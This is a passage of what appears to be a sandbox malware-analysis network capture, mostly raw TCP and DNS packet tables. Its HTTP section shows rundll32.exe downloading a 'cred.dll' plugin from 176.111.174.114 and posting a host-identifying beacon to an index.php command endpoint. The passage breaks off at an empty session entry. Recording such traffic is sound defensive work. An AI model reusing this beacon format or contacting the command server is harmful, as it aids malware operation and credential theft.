Apr 28, 2021 23:26:15.247595072 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.247602940 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.247615099 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.247733116 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.247781038 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.247790098 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.247971058 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.249754906 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.249866009 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.286077976 CEST	80	50639	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.286207914 CEST	50639	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.286701918 CEST	50639	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.288798094 CEST	80	50637	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.288877964 CEST	50637	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.342818975 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.342844009 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.342852116 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.342922926 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.342928886 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.342940092 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.342967987 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.343004942 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.343039989 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.343108892 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.343120098 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.343185902 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.343260050 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.343465090 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.343552113 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.344907999 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.344924927 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.345012903 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.345083952 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.345251083 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.345263004 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.345343113 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.345380068 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.382843971 CEST	80	50639	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.385565996 CEST	80	50639	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.385677099 CEST	50639	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.438024998 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438056946 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438096046 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438368082 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438381910 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438602924 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438616991 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438626051 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438976049 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.438992023 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.439910889 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.440161943 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.440181017 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.440567970 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.440583944 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.442363024 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.442517042 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.501797915 CEST	50639	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.503205061 CEST	50641	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.538460016 CEST	80	50638	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.538583994 CEST	50638	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.596679926 CEST	80	50639	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.596846104 CEST	50639	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.600805044 CEST	80	50641	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.600981951 CEST	50641	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.601475954 CEST	50641	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.700859070 CEST	80	50641	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.704401970 CEST	80	50641	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.704912901 CEST	50641	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.820066929 CEST	50641	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.821615934 CEST	50642	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.916979074 CEST	80	50642	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.917140961 CEST	80	50641	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:15.917192936 CEST	50642	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.917294979 CEST	50641	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:15.918688059 CEST	50642	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.015369892 CEST	80	50642	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.018551111 CEST	80	50642	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.020101070 CEST	50642	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.126113892 CEST	50642	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.127381086 CEST	50643	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.221889019 CEST	80	50642	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.222054005 CEST	50642	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.222306967 CEST	80	50643	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.222418070 CEST	50643	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.223084927 CEST	50643	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.316723108 CEST	80	50643	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.320301056 CEST	80	50643	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.320611954 CEST	50643	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.422784090 CEST	50643	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.423968077 CEST	50644	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.516251087 CEST	80	50643	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.516398907 CEST	50643	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.532277107 CEST	80	50644	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.532481909 CEST	50644	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.533277988 CEST	50644	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.641701937 CEST	80	50644	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.645667076 CEST	80	50644	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.645823956 CEST	50644	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.751205921 CEST	50644	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.752386093 CEST	50646	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.847623110 CEST	80	50646	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.847940922 CEST	50646	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.848613024 CEST	50646	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.859154940 CEST	80	50644	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.860172987 CEST	50644	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:16.945813894 CEST	80	50646	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.950330973 CEST	80	50646	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:16.950568914 CEST	50646	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.063524961 CEST	50646	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.064908028 CEST	50647	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.160263062 CEST	80	50646	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.160357952 CEST	80	50647	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.160486937 CEST	50646	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.160664082 CEST	50647	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.162842035 CEST	50647	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.258428097 CEST	80	50647	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.262175083 CEST	80	50647	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.262413025 CEST	50647	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.377075911 CEST	50647	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.378757000 CEST	50648	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.472278118 CEST	80	50648	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.472520113 CEST	80	50647	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.472647905 CEST	50647	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.472665071 CEST	50648	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.473742962 CEST	50648	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.567965984 CEST	80	50648	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.572081089 CEST	80	50648	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.572217941 CEST	50648	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.751944065 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.852078915 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.852335930 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.852658033 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.952831984 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.952896118 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.952934027 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.952986002 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.953102112 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.953155994 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.953444004 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.953501940 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.953641891 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.953700066 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.953828096 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.953883886 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.954262972 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.954319000 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.954412937 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.954464912 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.954606056 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.954662085 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:17.954898119 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:17.954950094 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.054387093 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.054481030 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.055022001 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055088043 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055104017 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055150032 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.055181980 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055207014 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055219889 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.055273056 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.055362940 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055398941 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055437088 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.055454969 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.055495977 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.055557013 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.056010962 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.056068897 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.056205034 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.056219101 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.056232929 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.056257963 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.056286097 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.056318045 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.056607008 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.056667089 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.154386997 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.154403925 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.154467106 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.154526949 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.154927969 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.154983044 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155121088 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155134916 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155142069 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155155897 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155178070 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155240059 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155343056 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155355930 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155363083 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155432940 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155493021 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155530930 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155543089 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155579090 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155628920 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.155924082 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.155962944 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.156044960 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.156287909 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.156302929 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.156342030 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.156375885 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.156471014 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.156527042 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.156533003 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.254301071 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.254323006 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.254338980 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.254437923 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.254676104 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.254865885 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255037069 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255053997 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255594015 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255795956 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255812883 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255827904 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.255845070 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256027937 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256067038 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256083012 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256098032 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256113052 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256181002 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256197929 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256212950 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256428003 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.256588936 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.258646965 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.258754969 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:18.358674049 CEST	80	50649	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:18.358738899 CEST	50649	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:22.577157021 CEST	80	50648	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:22.577233076 CEST	50648	80	192.168.2.5	176.111.174.114

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2021 23:22:02.147264004 CEST	53784	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:02.196441889 CEST	53	53784	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:02.649286985 CEST	65307	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:02.659991980 CEST	64344	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:02.708714008 CEST	53	64344	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:02.715291023 CEST	53	65307	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:02.775333881 CEST	62060	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:02.824048996 CEST	53	62060	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:03.785736084 CEST	61805	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:03.837291956 CEST	53	61805	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:04.875962019 CEST	54795	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:04.935440063 CEST	53	54795	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:05.385231972 CEST	49557	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:05.446881056 CEST	53	49557	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:06.302743912 CEST	61733	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:06.354384899 CEST	53	61733	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:07.963053942 CEST	65447	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:08.016599894 CEST	53	65447	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:09.340603113 CEST	52441	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:09.392169952 CEST	53	52441	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:10.722278118 CEST	62176	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:10.783428907 CEST	53	62176	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:11.860620975 CEST	59596	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:11.919380903 CEST	53	59596	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:12.678324938 CEST	65296	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:12.731229067 CEST	53	65296	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:16.389560938 CEST	63183	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:16.438386917 CEST	53	63183	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:17.577227116 CEST	60151	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:17.626060963 CEST	53	60151	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:32.467398882 CEST	56969	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:32.531279087 CEST	53	56969	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:37.792151928 CEST	55161	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:37.841317892 CEST	53	55161	8.8.8.8	192.168.2.5
Apr 28, 2021 23:22:50.200067997 CEST	54757	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:22:50.263494015 CEST	53	54757	8.8.8.8	192.168.2.5
Apr 28, 2021 23:23:16.633779049 CEST	49992	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:23:16.682442904 CEST	53	49992	8.8.8.8	192.168.2.5
Apr 28, 2021 23:23:21.373697996 CEST	60075	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:23:21.435446978 CEST	53	60075	8.8.8.8	192.168.2.5
Apr 28, 2021 23:23:46.712883949 CEST	55016	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:23:46.788639069 CEST	53	55016	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:01.581783056 CEST	64345	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:01.632713079 CEST	53	64345	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:03.684305906 CEST	57128	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:03.741506100 CEST	53	57128	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:49.619268894 CEST	54791	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:49.763005972 CEST	53	54791	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:50.335866928 CEST	50463	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:50.398073912 CEST	53	50463	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:51.121478081 CEST	50394	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:51.178894043 CEST	53	50394	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:51.694865942 CEST	58530	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:51.752366066 CEST	53	58530	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:52.419946909 CEST	53813	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:52.572398901 CEST	53	53813	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:53.925200939 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:53.982491016 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:54.515048027 CEST	57344	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:54.683011055 CEST	53	57344	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:55.635745049 CEST	54450	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:55.692739010 CEST	53	54450	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:57.535100937 CEST	59261	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:57.665831089 CEST	53	59261	8.8.8.8	192.168.2.5
Apr 28, 2021 23:24:58.377547979 CEST	57151	53	192.168.2.5	8.8.8.8
Apr 28, 2021 23:24:58.429570913 CEST	53	57151	8.8.8.8	192.168.2.5

HTTP Request Dependency Graph

176.111.174.114

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49711	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.197117090 CEST	1431	OUT	GET /Hnq8vS/plugins/cred.dll HTTP/1.1 Host: 176.111.174.114

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49712	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.205513000 CEST	1431	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49716	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:23.491009951 CEST	1568	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49768	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
